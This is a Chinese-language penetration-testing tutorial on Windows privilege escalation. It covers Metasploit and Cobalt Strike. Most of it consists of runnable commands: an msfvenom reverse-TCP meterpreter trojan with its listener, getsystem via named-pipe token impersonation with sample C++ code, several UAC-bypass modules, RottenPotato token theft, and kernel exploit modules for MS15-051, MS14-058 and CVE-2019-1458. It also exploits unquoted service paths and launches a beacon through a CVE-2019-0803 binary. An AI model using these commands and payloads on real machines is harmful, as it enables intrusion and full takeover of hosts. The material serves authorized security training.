渗透测试框架提权

Metasploit提权

  • 生成一个Payload,并创建监听
1
2
3
4
5
6
7
8
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe -oxx.exe

# handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 6666
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.227
set LPORT 6666
exploit
  • 运行木马文件,MSF获得meterpreter会话

image-20230920091324938

Meterpreter提权

Meterpreter自动提权命令

1
2
getuid
getsystem

getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户

  • 执行成功

image-20230920093855689

  • 执行失败

image-20230920091429253

Getsystem命名管道原理

命名管道介绍

https://www.cnblogs.com/dspeeding/p/4427777.html

命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。

命名管道的命名规范遵循“通用命名规范(UNC)” :

1
\\server\pipe[\path]\name
  • 其中 \server 指定一个服务器的名字,如果是本机则用\.表示,\192.168.1.100表示网络上的服务器。
  • \pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
  • [\path]\name 则唯一标识一个命名管道的名称。

151719309484955

命名管道客户端代码

pipe_client.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "iostream"
#include "windows.h"
#include "stdio.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"
int main()
{
char buffer[1024];
DWORD WriteNum;
if (WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER) == FALSE)
{
cout << "等待命名管道实例失败!" << endl;
return 0;
}
HANDLE hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与服务器连接成功!" << endl;
while (1)
{
gets(buffer);//等待数据输入
if (WriteFile(hPipe, buffer, strlen(buffer), &WriteNum, NULL) == FALSE)
{
cout << "数据写入管道失败!" << endl;
break;
}
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}

命名管道服务端代码

pipe_server.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include "iostream"
#include "windows.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"
int main()
{
char buffer[1024];
DWORD ReadNum;
HANDLE hPipe = CreateNamedPipe(PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 2, 0, 0, 1000, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
if (ConnectNamedPipe(hPipe, NULL) == FALSE)
{
cout << "与客户机连接失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与客户机连接成功!" << endl;
while (1)
{
if (ReadFile(hPipe, buffer, 1024, &ReadNum, NULL) == FALSE)
{
cout << "读取数据失败!" << endl;
break;
}
buffer[ReadNum] = 0;
cout << "读取数据:" << buffer << endl;
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}

模拟令牌

模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理。

  • 具体步骤
  1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
  2. 创建一个进程,并让进程创建命名管道。
  3. 让之前的以system权限启动的程序启动并连接这个命名管道。
  4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
  5. 利用system权限的token启动cmd.exe。

过程模拟

在一个拥有 SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。

https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege

pipeserverimpersonate.ps1
https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

  1. 使用administrator用户通过powershell脚本创建一个命名管道
1
powershell -ep bypass -f pipeserverimpersonate.ps1

Win7查看命令管道,Powershell中输入如下命令:

1
[System.IO.Directory]::GetFiles("\\.\\pipe\\")

Win7及以上系统,查看命名管道还可以使用如下命令:

1
2
3
4
5
# 返回对象列表
get-childitem \\.\pipe\

# 只显示名称
(get-childitem \\.\pipe\).FullName
  1. 在administrator用户权限下,创建一个服务 mingy-pipe
1
2
3
sc create mingy-pipe binpath= "cmd /c echo test > \\.\pipe\mingy"

sc qc mingy-pipe
  1. 在administrator用户权限下,启动mingy-pipe服务
1
sc start mingy-pipe

启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo test > \.\pipe\mingy 命令,即以SYSTEM权限访问创建的命名管道 \.\pipe\mingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口

原理总结

meterpreter的getsystem提权功能原理:

  1. 首先会创建一个命名管道
  2. 然后创建一个服务去运行cmd /c echo “some data” > \.\pipe[random pipe name]
  3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟模拟连接客户端的Token
  4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 shell

BypassUAC

提权命令执行失败,使用 bypassuac 模块绕过 UAC

UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改

getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权

1
2
3
4
5
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.247.135
set session 1
exploit

image-20230920094032674

通过bypassUAC获取的session可以看到依然是普通权限,可以执行getsystem进行提权至system权限

image-20230920094059879

bypassuac_injection

1
2
3
4
5
6
7
8
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.170
set session 1
exploit

getuid
getsystem

bypassuac_eventvwr

1
use exploit/windows/local/bypassuac_eventvwr

bypassuac_comhijack

1
use exploit/windows/local/bypassuac_comhijack

Local_exploit_suggester

https://github.com/rapid7/metasploitframework/blob/master/documentation/modules/post/multi/recon/local_exploit_suggester.md

local_exploit_suggester是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它执行本地漏洞利用检查;但不会运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。

不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。

优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的local exploit都可用

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

  • 得到普通用户权限

执行getsystem报错

image-20230920105149708

  • 通过模块收集测试可提权模块
1
2
3
use post/multi/recon/local_exploit_suggester
set SESSION 7
exploit

image-20230920105336587

bypassuac_eventvwr

1
2
3
4
5
use exploit/windows/local/bypassuac_eventvwr
set session 7
set payload windows/x64/meterpreter/reverse_tcp
set target 1
run

bypassuac_dotnet_profiler

1
2
3
use exploit/windows/local/bypassuac_dotnet_profiler
set session 9
run

image-20230920110151814

CVE-2019-1458-wiozardopium

1
2
3
use exploit/windows/local/cve_2019_1458_wizardopium
set session 1
run

Token窃取

Token简介

Windows有两种类型的Token:

  • Delegation Token

授权令牌,用于交互会话登录 (例如本地用户直接登录、远程桌面登录)

  • Impersonation Token

模拟令牌,用于非交互登录 (利用net use访问共享文件夹)

  1. 两种Token只在系统重启后清除
  2. 具有Delegation Token的用户在注销后,该Token将变成Impersonation Token,依旧有效
  3. 在Metasploit中,可使用incognito模块实现Token窃取,Metasploit中的incognito模块是从

Windows平台下的incognito移植过来的

incognito2: https://github.com/milkdevil/incognito2

RottenPotato

将服务帐户本地提权至SYSTEM

https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 查看当前用户Token
getuid

# 查看当前用户特权
getprivs

# 加载incognito模块
load incognito

# 列出当前主机所有Token
list_token –u

# 上传rottenpotato
upload /root/rottenpotato.exe .

# 执行rottenpotato
execute -Hc -f rottenpotato.exe

# 将SYSTEM Token添加到Impersonate user tokens下
impersonate_token "NT AUTHORITY\\SYSTEM"

# 返回之前的Token
rev2self、drop_token

注意:在运行rottenpotato.exe后快速模拟令牌(或运行 list_tokens -u)很重要。在当前的实现中,令牌似乎在rottenpotato.exe运行后不久就消失了。因此在执行程序后,立即执行list_token -u 查看模拟令牌,并立即进行模拟令牌操作 impersonate_token。

Windows内核漏洞提权

windows-kernel-exploits

Windows平台提权漏洞集合: https://github.com/SecWiki/windows-kernel-exploits

https://www.freebuf.com/articles/system/184289.html

metasploit中查找提权模块:

1
2
3
search exploit/windows/local Privilege

search ms

enum_patches

1
2
3
use post/windows/gather/enum_patches
set session 5
run

Windows ClientCopyImage Win32k Exploit

适用于Win7、Win server 2008R2 SP1 x64

1
2
3
4
use exploit/windows/local/ms15_051_client_copy_image
set lhost xx.xx.xx.xx
set session 1
exploit

MS14_058提权

1
2
3
4
use exploit/windows/local/ms14_058_track_popup_menu
set lhost xx.xx.xx.xx
set session 1
exploit

Windows系统服务漏洞提权

unquoted_service_path模块

可信任服务路径(unquoted Service Paths)

存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限

Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例子:

1
2
3
4
5
6
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序

  • Metasploit集成有 unquoted_service_path 模块
1
2
3
use exploit/windows/local/unquoted_service_path
set session 1
run

没有权限重启服务,等待服务器重启时执行exe,或手动执行重启服务器命令reboot,等待服务器重启完毕,成功上线SYSTEM权限session

service_permissions模块

1
2
3
use exploit/windows/local/service_permissions
set sessions 1
run

always_install_elevated模块

1
2
3
use exploit/windows/local/always_install_elevated
set sessions 1
run

CobaltStrike提权

Elevate

https://github.com/rsmudge/ElevateKit

image-20230922095835081

image-20230922100729896

CVE-2019-0803

https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe

1
execute CVE-2019-0803.exe cmd "start beacon.exe"

Powershell

1
2
help powershell-import
Use: powershell-import [/path/to/local/script.ps1]

SweetPotato

https://github.com/Tycx2ry/SweetPotato_CS